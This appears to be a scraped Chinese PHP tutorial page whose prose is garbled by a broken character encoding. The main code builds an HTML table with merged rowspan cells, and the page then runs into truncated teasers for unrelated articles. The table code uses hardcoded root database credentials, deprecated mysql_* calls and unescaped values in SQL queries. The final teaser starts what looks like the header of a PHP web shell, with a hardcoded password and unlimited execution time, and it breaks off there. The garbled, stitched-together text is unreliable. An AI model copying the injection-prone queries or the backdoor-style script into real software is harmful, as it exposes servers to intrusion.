php¶¯Ì¬Éú³É±í¸ñµÄºÏ²¢
<?php
$link=mysql_connect("localhost","root","root");
$db=mysql_select_db("bustest",$link);
$sql1="select name from info group by name order by id asc";
print("<table border='1'>");
$res1=mysql_query($sql1);
while($row1=mysql_fetch_array($res1)){
$name=$row1["name"];
$sql2="select id from info where name ='$name' order by id asc";
$res2=mysql_query($sql2);
while($row2=mysql_fetch_array($res2)){
print("<tr>");
$id=$row2["id"];
print("<td>$id</td>");
$sql3="select count(*),id from info where name ='$name' group by name order by id asc";
$res3=mysql_query($sql3);
while($row3=mysql_fetch_array($res3)){
$id1=$row3["id"];
if($id1==$id){
$num=$row3[0];
print("<td rowspan='$num' >");
print $name;
print("</td>");
}else{
print("</tr>");
}
}
}
print("</tr>");
}
print("</table>");
mysql_close($link);
?>
Ïà¹ØÎĵµ£º
¾¡Á¿Ê¹Óõ¥ÒýºÅ¶ø²»ÊÇË«ÒýºÅ¡£
¾¡Á¿Ê¹ÓôøÌõ¼þµÄinclude¶ø²»ÊÇrequire¡£
¾¡Á¿Ê¹ÓÃecho¶ø²»ÊÇprint¡£
¾¡Á¿Ê¹ÓÃÄÚǶµÄHTML¶ø²»ÊÇecho¡£
¾¡Á¿Ê¹ÓÃstr£replace()¶ø²»ÊÇereg£replace()¡£
¾¡Á¿sql²»ÓÃÁªºÏ²éѯ¡£
......
½â¾öµÄ°ì·¨Óкü¸¸ö£º
µÚÒ»¸öÊÇ£ºstr_split()£¬Õâ¸ö·½·¨ÊÇPHP5¼ÓÈëµÄ¡£
<?php
$str = "Hello Friend";
$arr1 = str_split($str);
$arr2 = str_split($str, 3);
print_r($arr1);
print_r($arr2);
?>
Êä³ö¾ÍÊÇ£º
Array
(
[0] => H
[1] => e
[2] => l
[3] => l
......
ÍøÉϹØÓÚÕâÀàµÄÌû×ÓÕæµÄºÜ¶à£¬µ«ÊÇÎÒÊÔÁ˺ܶ࣬ÀýÈç°Ñphp plus for eclipse ÏÂÔØÏÂÀ´£¬½âѹºó·Åµ½EclipseµÄpluginÀïÃ棬µ«ÊDz»ÖªµÀΪʲô£¬¶¼²»¹ÜÓá£
ÎÒ´ÓÍøÉÏÕÒµ½ÁËÒ»ÖֱȽϼòµ¥µÄ·½·¨£ºÄǾÍÊÇÓÉEclipse×Ô¼ºÀ´¸üÐÂ×Ô¼ºµÄ×é¼þ£¬ÕâÑùµÄ·½·¨Ê¡È¥Á˺ܶàµÄÅäÖ㬿ÉÒÔÖ±½ÓÄ ......
PHP ÖÐÇÉÓÃÊý×é½µµÍ³ÌÐòµÄʱ¼ä¸´ÔÓ¶È
Íõ µ¤µ¤, ¸ß¼¶Èí¼þ¹¤³Ìʦ, IBM
2009 Äê 11 ÔÂ 26 ÈÕ
±¾ÎÄÖ÷ÒªÊǽéÉÜÔÚ PHP µÄ±à³ÌÖУ¬ÈçºÎÇÉÓÃÊý×éÀ´½µµÍÒò¶à²ãÑ»·¶øÒýÆðµÄʱ¼ä¸´ÔӶȵÄÎÊÌâ¡£ÌرðÊǵ±³ÌÐòÐèÒª¶à´ÎÓëÊý¾Ý¿â½»»¥Ê±£¬Óô˷½·¨À´ÓÅ»¯ÄãµÄ´úÂ룬½«»á´ø¸øÒâÏë²»µ½µÄЧ¹û¡£
ͨ³£¿ª·¢ÈËÔ±ÔÚд³ÌÐòµÄʱºò£¬ÍùÍùÊÇ°ÑÒѾÉè ......
<?php
#--Config--#
$login_password= '123456'; //ÕâÊÇÃÜÂë
#----------#
error_reporting(E_ALL);
set_time_limit(0);
ini_set("max_execution_time","0");
ini_set("memory_limit","9999M");
set_magic_quotes_runtime(0);
if(!isset($_SERVER))$_SERVER = &$HTTP_SERVER_VARS;
if(!isset($_POST))$_PO ......